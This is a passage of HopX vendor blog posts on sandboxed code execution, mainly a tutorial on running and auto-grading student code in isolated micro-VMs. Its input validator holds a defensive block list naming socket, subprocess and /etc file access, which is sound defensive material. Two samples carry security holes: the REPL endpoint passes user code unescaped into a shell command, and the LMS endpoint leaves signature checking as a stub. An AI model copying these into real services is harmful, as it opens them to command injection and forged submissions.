## Conclusion
Running Jupyter notebooks in HopX sandboxes enables:
- **Safe execution** of untrusted notebooks
- **Scalable automation** with parallel execution
- **Consistent environments** for reproducibility
- **Programmatic access** to notebook outputs
Whether you're building notebook-powered APIs, scheduling data science jobs, or processing user-submitted notebooks, sandboxed execution is the secure, scalable solution.
## Resources
- [Papermill Documentation](https://papermill.readthedocs.io/)
- [nbconvert Documentation](https://nbconvert.readthedocs.io/)
- [Jupyter Notebook Format](https://nbformat.readthedocs.io/)
- [HopX Documentation](https://hopx.ai/docs)
---
## HopX for Education: Safe Coding Environments for Students
URL: https://hopx.ai/blog/use-cases/hopx-for-education-safe-coding-environments/
Category: Use Cases
Published: 2025-11-15
# HopX for Education: Safe Coding Environments for Students
Teaching programming requires students to run code. But running untrusted student code on shared infrastructure is a security nightmare. One student's infinite loop shouldn't crash the server. One malicious submission shouldn't access other students' data.
HopX sandboxes provide isolated execution environments perfect for educational platforms—safe, scalable, and easy to integrate.
## The Challenge of Educational Code Execution
**What can go wrong:**
- Infinite loops consuming all CPU
- Memory exhaustion (allocating huge arrays)
- Fork bombs (spawning processes)
- File system access (reading other students' submissions)
- Network attacks from your infrastructure
- Malicious code execution
**Traditional solutions and their problems:**
- **Docker containers**: Weak isolation, escape vulnerabilities
- **Shared servers**: No isolation, one crash affects all
- **Local execution only**: Can't verify, can't scale
- **Manual review**: Doesn't scale, inconsistent
## HopX for Education
Each student's code runs in its own micro-VM:
- Complete isolation from other students
- Complete isolation from your infrastructure
- Resource limits (CPU, memory, time)
- No network access by default
- Instant cleanup after execution
## Building a Code Execution Platform
### Basic Code Runner
```python
from hopx import Sandbox
from dataclasses import dataclass
from enum import Enum
class Language(Enum):
PYTHON = "python"
JAVASCRIPT = "javascript"
JAVA = "java"
CPP = "cpp"
@dataclass
class ExecutionResult:
success: bool
stdout: str
stderr: str
exit_code: int
execution_time: float
memory_used: int = 0
class CodeRunner:
LANGUAGE_CONFIG = {
Language.PYTHON: {
"template": "code-interpreter",
"file": "solution.py",
"command": "python solution.py"
},
Language.JAVASCRIPT: {
"template": "node",
"file": "solution.js",
"command": "node solution.js"
},
Language.JAVA: {
"template": "base",
"file": "Solution.java",
"command": "javac Solution.java && java Solution"
},
Language.CPP: {
"template": "base",
"file": "solution.cpp",
"command": "g++ -o solution solution.cpp && ./solution"
}
}
def run(
self,
code: str,
language: Language,
stdin: str = "",
timeout: int = 30,
memory_limit: str = "256M"
) -> ExecutionResult:
"""Execute code safely in a sandbox"""
config = self.LANGUAGE_CONFIG[language]
sandbox = Sandbox.create(
template=config["template"],
memory_limit=memory_limit
)
try:
import time
start = time.time()
# Write code file
sandbox.files.write(f"/app/{config['file']}", code)
# Write stdin if provided
if stdin:
sandbox.files.write("/app/input.txt", stdin)
command = f"cd /app && {config['command']} < input.txt"
else:
command = f"cd /app && {config['command']}"
# Execute with timeout
result = sandbox.commands.run(command, timeout=timeout)
execution_time = time.time() - start
return ExecutionResult(
success=result.exit_code == 0,
stdout=result.stdout,
stderr=result.stderr,
exit_code=result.exit_code,
execution_time=execution_time
)
except TimeoutError:
return ExecutionResult(
success=False,
stdout="",
stderr="Execution timed out",
exit_code=-1,
execution_time=timeout
)
finally:
sandbox.kill()
# Usage
runner = CodeRunner()
result = runner.run(
code='print("Hello, World!")',
language=Language.PYTHON
)
print(f"Output: {result.stdout}")
print(f"Time: {result.execution_time:.2f}s")
```
### Auto-Grading System
```python
from dataclasses import dataclass
from typing import List, Optional
import json
@dataclass
class TestCase:
input: str
expected_output: str
name: str = ""
points: int = 1
hidden: bool = False
@dataclass
class TestResult:
passed: bool
test_case: TestCase
actual_output: str
error: Optional[str] = None
@dataclass
class GradeResult:
total_points: int
earned_points: int
percentage: float
test_results: List[TestResult]
passed_count: int
failed_count: int
class AutoGrader:
def __init__(self):
self.runner = CodeRunner()
def grade(
self,
code: str,
language: Language,
test_cases: List[TestCase],
timeout_per_test: int = 5
) -> GradeResult:
"""Grade a submission against test cases"""
results = []
earned = 0
total = sum(tc.points for tc in test_cases)
for test in test_cases:
# Run code with test input
execution = self.runner.run(
code=code,
language=language,
stdin=test.input,
timeout=timeout_per_test
)
# Compare output
actual = execution.stdout.strip()
expected = test.expected_output.strip()
passed = actual == expected
if passed:
earned += test.points
results.append(TestResult(
passed=passed,
test_case=test,
actual_output=actual if not test.hidden else "[hidden]",
error=execution.stderr if execution.stderr else None
))
return GradeResult(
total_points=total,
earned_points=earned,
percentage=(earned / total * 100) if total > 0 else 0,
test_results=results,
passed_count=sum(1 for r in results if r.passed),
failed_count=sum(1 for r in results if not r.passed)
)
# Example: Grading a "Sum of Two Numbers" problem
grader = AutoGrader()
test_cases = [
TestCase(input="2 3", expected_output="5", name="Basic addition"),
TestCase(input="0 0", expected_output="0", name="Zero case"),
TestCase(input="-5 10", expected_output="5", name="Negative numbers"),
TestCase(input="999999 1", expected_output="1000000", name="Large numbers", hidden=True),
]
student_code = """
a, b = map(int, input().split())
print(a + b)
"""
result = grader.grade(
code=student_code,
language=Language.PYTHON,
test_cases=test_cases
)
print(f"Score: {result.earned_points}/{result.total_points} ({result.percentage:.1f}%)")
for tr in result.test_results:
status = "✓" if tr.passed else "✗"
if not tr.test_case.hidden:
print(f" {status} {tr.test_case.name}: {tr.actual_output}")
```
### Interactive Coding Environment
Build a web-based coding environment:
```python
from fastapi import FastAPI, WebSocket
from pydantic import BaseModel
import asyncio
import json
app = FastAPI()
class CodeRequest(BaseModel):
code: str
language: str
stdin: str = ""
@app.websocket("/ws/repl")
async def interactive_repl(websocket: WebSocket):
"""Interactive Python REPL via WebSocket"""
await websocket.accept()
sandbox = Sandbox.create(template="code-interpreter")
try:
# Start interactive Python
await websocket.send_json({"type": "ready", "message": "Python REPL ready"})
while True:
data = await websocket.receive_json()
if data["type"] == "execute":
code = data["code"]
# Execute code
result = sandbox.commands.run(f'python -c "{code}"')
await websocket.send_json({
"type": "result",
"stdout": result.stdout,
"stderr": result.stderr,
"success": result.exit_code == 0
})
elif data["type"] == "reset":
# Create fresh sandbox
sandbox.kill()
sandbox = Sandbox.create(template="code-interpreter")
await websocket.send_json({"type": "reset_complete"})
except Exception as e:
await websocket.send_json({"type": "error", "message": str(e)})
finally:
sandbox.kill()
@app.post("/api/run")
async def run_code(request: CodeRequest):
"""Simple code execution endpoint"""
runner = CodeRunner()
language = Language(request.language)
result = runner.run(
code=request.code,
language=language,
stdin=request.stdin
)
return {
"stdout": result.stdout,
"stderr": result.stderr,
"success": result.success,
"execution_time": result.execution_time
}
```
## Course Content Integration
### Embeddable Code Exercises
```python
@dataclass
class CodingExercise:
id: str
title: str
description: str
starter_code: str
solution: str
test_cases: List[TestCase]
hints: List[str]
language: Language = Language.PYTHON
class ExerciseRunner:
def __init__(self):
self.grader = AutoGrader()
def check_solution(self, exercise: CodingExercise, student_code: str) -> dict:
"""Check student solution against exercise"""
result = self.grader.grade(
code=student_code,
language=exercise.language,
test_cases=exercise.test_cases
)
# Generate feedback
feedback = []
for tr in result.test_results:
if not tr.passed and not tr.test_case.hidden:
feedback.append(
f"Test '{tr.test_case.name}' failed: "
f"expected '{tr.test_case.expected_output}', "
f"got '{tr.actual_output}'"
)
# Suggest hints if struggling
hints_to_show = []
if result.percentage < 50 and len(exercise.hints) > 0:
hints_to_show = exercise.hints[:1] # Show first hint
return {
"passed": result.percentage == 100,
"score": result.percentage,
"passed_tests": result.passed_count,
"total_tests": len(result.test_results),
"feedback": feedback,
"hints": hints_to_show
}
# Example exercise
exercise = CodingExercise(
id="fibonacci-001",
title="Fibonacci Sequence",
description="""
Write a function `fibonacci(n)` that returns the nth Fibonacci number.
- fibonacci(0) = 0
- fibonacci(1) = 1
- fibonacci(n) = fibonacci(n-1) + fibonacci(n-2) for n > 1
""",
starter_code="""
def fibonacci(n):
# Your code here
pass
# Read input and print result
n = int(input())
print(fibonacci(n))
""",
solution="""
def fibonacci(n):
if n <= 1:
return n
a, b = 0, 1
for _ in range(n - 1):
a, b = b, a + b
return b
n = int(input())
print(fibonacci(n))
""",
test_cases=[
TestCase(input="0", expected_output="0", name="Base case 0"),
TestCase(input="1", expected_output="1", name="Base case 1"),
TestCase(input="5", expected_output="5", name="Small number"),
TestCase(input="10", expected_output="55", name="Medium number"),
TestCase(input="20", expected_output="6765", name="Larger number", hidden=True),
],
hints=[
"Remember the base cases: fibonacci(0) = 0 and fibonacci(1) = 1",
"Try using iteration instead of recursion for better performance",
]
)
```
### Progress Tracking
```python
from datetime import datetime
from typing import Dict, Any
class StudentProgress:
def __init__(self, student_id: str):
self.student_id = student_id
self.submissions: List[Dict[str, Any]] = []
self.completed_exercises: set = set()
def record_submission(
self,
exercise_id: str,
code: str,
result: dict
):
"""Record a submission attempt"""
self.submissions.append({
"exercise_id": exercise_id,
"code": code,
"result": result,
"timestamp": datetime.now().isoformat()
})
if result["passed"]:
self.completed_exercises.add(exercise_id)
def get_stats(self) -> dict:
"""Get student statistics"""
total_submissions = len(self.submissions)
successful = sum(1 for s in self.submissions if s["result"]["passed"])
return {
"total_submissions": total_submissions,
"successful_submissions": successful,
"success_rate": successful / total_submissions if total_submissions > 0 else 0,
"completed_exercises": len(self.completed_exercises),
"avg_attempts_per_exercise": total_submissions / len(self.completed_exercises) if self.completed_exercises else 0
}
```
## Classroom Features
### Live Code Comparison
Let instructors see all student code in real-time:
```python
class ClassroomSession:
def __init__(self, session_id: str, exercise: CodingExercise):
self.session_id = session_id
self.exercise = exercise
self.student_code: Dict[str, str] = {}
self.student_results: Dict[str, dict] = {}
def update_code(self, student_id: str, code: str):
"""Update student's current code"""
self.student_code[student_id] = code
def submit(self, student_id: str, code: str) -> dict:
"""Submit and grade student code"""
runner = ExerciseRunner()
result = runner.check_solution(self.exercise, code)
self.student_results[student_id] = result
return result
def get_class_progress(self) -> dict:
"""Get overall class progress"""
total = len(self.student_results)
if total == 0:
return {"participants": 0}
passed = sum(1 for r in self.student_results.values() if r["passed"])
avg_score = sum(r["score"] for r in self.student_results.values()) / total
return {
"participants": total,
"completed": passed,
"completion_rate": passed / total * 100,
"average_score": avg_score,
"struggling": [
sid for sid, r in self.student_results.items()
if r["score"] < 50
]
}
```
### Plagiarism Detection
Basic code similarity checking:
```python
import difflib
def calculate_similarity(code1: str, code2: str) -> float:
"""Calculate similarity between two code submissions"""
# Normalize code
def normalize(code):
lines = code.strip().split('\n')
# Remove empty lines and comments
lines = [l.strip() for l in lines if l.strip() and not l.strip().startswith('#')]
return '\n'.join(lines)
norm1 = normalize(code1)
norm2 = normalize(code2)
return difflib.SequenceMatcher(None, norm1, norm2).ratio()
def check_plagiarism(submissions: Dict[str, str], threshold: float = 0.8) -> List[tuple]:
"""Check for similar submissions"""
flagged = []
students = list(submissions.keys())
for i, s1 in enumerate(students):
for s2 in students[i+1:]:
similarity = calculate_similarity(submissions[s1], submissions[s2])
if similarity >= threshold:
flagged.append((s1, s2, similarity))
return sorted(flagged, key=lambda x: x[2], reverse=True)
# Usage
submissions = {
"student1": "def add(a, b):\n return a + b",
"student2": "def add(a, b):\n return a + b # sum",
"student3": "def sum_nums(x, y):\n result = x + y\n return result",
}
flagged = check_plagiarism(submissions)
for s1, s2, sim in flagged:
print(f"Possible plagiarism: {s1} and {s2} ({sim*100:.1f}% similar)")
```
## Security Best Practices
### 1. Strict Resource Limits
```python
sandbox = Sandbox.create(
template="code-interpreter",
memory_limit="256M", # Max memory
cpu_limit=0.5, # Half CPU
disk_limit="100M" # Max disk usage
)
# Execute with timeout
result = sandbox.commands.run(command, timeout=10) # 10 second max
```
### 2. Input Validation
```python
def validate_code(code: str, language: Language) -> tuple[bool, str]:
"""Validate code before execution"""
# Check size
if len(code) > 50000: # 50KB max
return False, "Code too long"
# Check for dangerous patterns
dangerous = [
"import os", "import subprocess", "import socket",
"open('/etc", "__import__", "eval(", "exec(",
"system(", "popen("
]
for pattern in dangerous:
if pattern in code:
return False, f"Forbidden pattern: {pattern}"
return True, "OK"
```
### 3. Network Isolation
```python
# Sandboxes have no network access by default
# This prevents:
# - Downloading malicious code
# - Attacking external services
# - Data exfiltration
sandbox = Sandbox.create(
template="code-interpreter",
network=False # Explicitly disable network
)
```
### 4. File System Protection
```python
# Each sandbox has isolated filesystem
# Students can't:
# - Read other students' code
# - Access system files
# - Persist data between runs
# Optional: provide read-only data files
sandbox.files.write("/data/dataset.csv", data, readonly=True)
```
## LMS Integration
### API for Learning Management Systems
```python
from fastapi import FastAPI, Header, HTTPException
import hmac
import hashlib
app = FastAPI()
def verify_lms_signature(payload: bytes, signature: str, secret: str) -> bool:
"""Verify webhook signature from LMS"""
expected = hmac.new(secret.encode(), payload, hashlib.sha256).hexdigest()
return hmac.compare_digest(signature, expected)
@app.post("/lms/submit")
async def lms_submission(
student_id: str,
assignment_id: str,
code: str,
x_lms_signature: str = Header(None)
):
"""Handle submission from LMS"""
# Verify signature
# ...
# Get assignment config
assignment = get_assignment(assignment_id)
# Grade
grader = AutoGrader()
result = grader.grade(
code=code,
language=assignment.language,
test_cases=assignment.test_cases
)
# Return grade to LMS
return {
"student_id": student_id,
"assignment_id": assignment_id,
"score": result.percentage,
"passed": result.percentage >= assignment.passing_score,
"feedback": generate_feedback(result)
}
```
## Scaling Considerations
### Handling Many Simultaneous Submissions
```python
import asyncio
from concurrent.futures import ThreadPoolExecutor
class ScalableGrader:
def __init__(self, max_concurrent: int = 50):
self.executor = ThreadPoolExecutor(max_workers=max_concurrent)
self.grader = AutoGrader()
async def grade_batch(
self,
submissions: List[tuple[str, str, Language, List[TestCase]]]
) -> List[tuple[str, GradeResult]]:
"""Grade multiple submissions concurrently"""
loop = asyncio.get_event_loop()
async def grade_one(student_id, code, language, tests):
result = await loop.run_in_executor(
self.executor,
self.grader.grade,
code, language, tests
)
return (student_id, result)
tasks = [
grade_one(sid, code, lang, tests)
for sid, code, lang, tests in submissions
]
return await asyncio.gather(*tasks)
# Usage
grader = ScalableGrader(max_concurrent=100)
# Grade 500 submissions
submissions = [
(f"student_{i}", code, Language.PYTHON, test_cases)
for i in range(500)
]
results = await grader.grade_batch(submissions)
```
## Conclusion
HopX sandboxes enable educational platforms to:
- **Run untrusted code safely** - Complete isolation per student
- **Scale to thousands** - Parallel execution without infrastructure concerns
- **Auto-grade reliably** - Consistent environments for fair grading
- **Protect everyone** - No student can affect another
Build the next generation of coding education with secure, scalable execution.
## Resources
- [HopX Documentation](https://hopx.ai/docs)
- [Building Online Judges](https://en.wikipedia.org/wiki/Online_judge)
- [LTI Integration Guide](https://www.imsglobal.org/activity/learning-tools-interoperability)
- [Computer Science Education Research](https://dl.acm.org/journal/toce)
---